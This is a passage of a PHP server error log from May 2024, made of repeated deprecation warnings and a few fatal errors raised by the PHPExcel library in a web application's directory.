braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 7303 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [27-May-2024 08:44:16 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [27-May-2024 08:44:16 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [27-May-2024 08:44:16 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [27-May-2024 08:44:16 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [27-May-2024 08:44:16 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [27-May-2024 08:44:16 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [27-May-2024 09:24:16 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [27-May-2024 09:24:16 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [27-May-2024 09:24:16 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [27-May-2024 09:24:16 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [27-May-2024 09:24:16 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [27-May-2024 09:24:16 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [27-May-2024 11:30:13 UTC] PHP Fatal error: Uncaught Error: Interface 'PHPExcel_Reader_IReader' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Abstract.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Abstract.php on line 28 [28-May-2024 08:04:20 UTC] PHP Fatal error: Uncaught Error: Interface 'PHPExcel_Reader_IReader' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Abstract.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Abstract.php on line 28 [28-May-2024 08:04:21 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [28-May-2024 08:04:21 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [28-May-2024 08:04:21 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [28-May-2024 08:04:21 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [28-May-2024 08:04:21 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [28-May-2024 08:04:21 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [28-May-2024 08:04:21 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [28-May-2024 08:04:21 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [28-May-2024 08:04:21 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [28-May-2024 08:04:21 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [28-May-2024 08:04:21 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [28-May-2024 08:04:21 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [28-May-2024 08:04:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel2003XML.php on line 692 [28-May-2024 08:04:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel2003XML.php on line 701 [28-May-2024 08:04:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [28-May-2024 08:04:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [28-May-2024 08:04:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [28-May-2024 08:04:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [28-May-2024 08:04:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [28-May-2024 08:04:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [28-May-2024 08:04:24 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [28-May-2024 08:04:24 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [28-May-2024 08:04:24 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [28-May-2024 08:04:24 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [28-May-2024 08:04:24 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [28-May-2024 08:04:24 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 1928 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 1991 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2128 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2153 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2163 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2181 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2194 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2198 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2278 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2402 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2402 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2402 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2417 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2417 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2417 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2432 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2432 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2432 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2447 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2447 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2447 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2462 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2462 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2462 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2477 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2477 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2477 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2492 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2492 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2492 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2507 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2507 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2507 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2549 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2614 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2630 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2808 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2891 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2958 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2980 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3886 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3909 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3909 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3909 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3921 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3922 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3923 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3926 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3927 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3928 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3929 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3932 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3933 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3934 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3935 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3999 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4065 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4068 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4450 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4601 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4603 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 6889 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 6892 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 7297 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 7300 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 7303 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [28-May-2024 08:04:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [28-May-2024 08:04:26 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Exception' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Exception.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Exception.php on line 28 [28-May-2024 08:04:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [28-May-2024 08:04:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [28-May-2024 08:04:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [28-May-2024 08:04:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [28-May-2024 08:04:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [28-May-2024 08:04:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [28-May-2024 08:04:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [28-May-2024 08:04:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [28-May-2024 08:04:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [28-May-2024 08:04:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [28-May-2024 08:04:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [28-May-2024 08:04:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [28-May-2024 08:04:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [28-May-2024 08:04:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [28-May-2024 08:04:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [28-May-2024 08:04:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [28-May-2024 08:04:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [28-May-2024 08:04:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [29-May-2024 06:27:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 164 [29-May-2024 06:27:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 252 [29-May-2024 06:27:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 266 [29-May-2024 06:27:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 296 [29-May-2024 06:27:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 330 [29-May-2024 06:27:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 339 [29-May-2024 06:27:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 369 [29-May-2024 06:27:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 387 [29-May-2024 06:27:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 436 [29-May-2024 06:27:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [29-May-2024 06:27:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [29-May-2024 06:27:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [29-May-2024 06:27:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [29-May-2024 06:27:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [29-May-2024 06:27:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [29-May-2024 21:59:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [29-May-2024 21:59:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [29-May-2024 21:59:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [29-May-2024 21:59:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [29-May-2024 21:59:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [29-May-2024 21:59:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [29-May-2024 21:59:34 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 164 [29-May-2024 21:59:34 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 252 [29-May-2024 21:59:34 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 266 [29-May-2024 21:59:34 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 296 [29-May-2024 21:59:34 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 330 [29-May-2024 21:59:34 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 339 [29-May-2024 21:59:34 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 369 [29-May-2024 21:59:34 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 387 [29-May-2024 21:59:34 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 436 [29-May-2024 21:59:34 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in 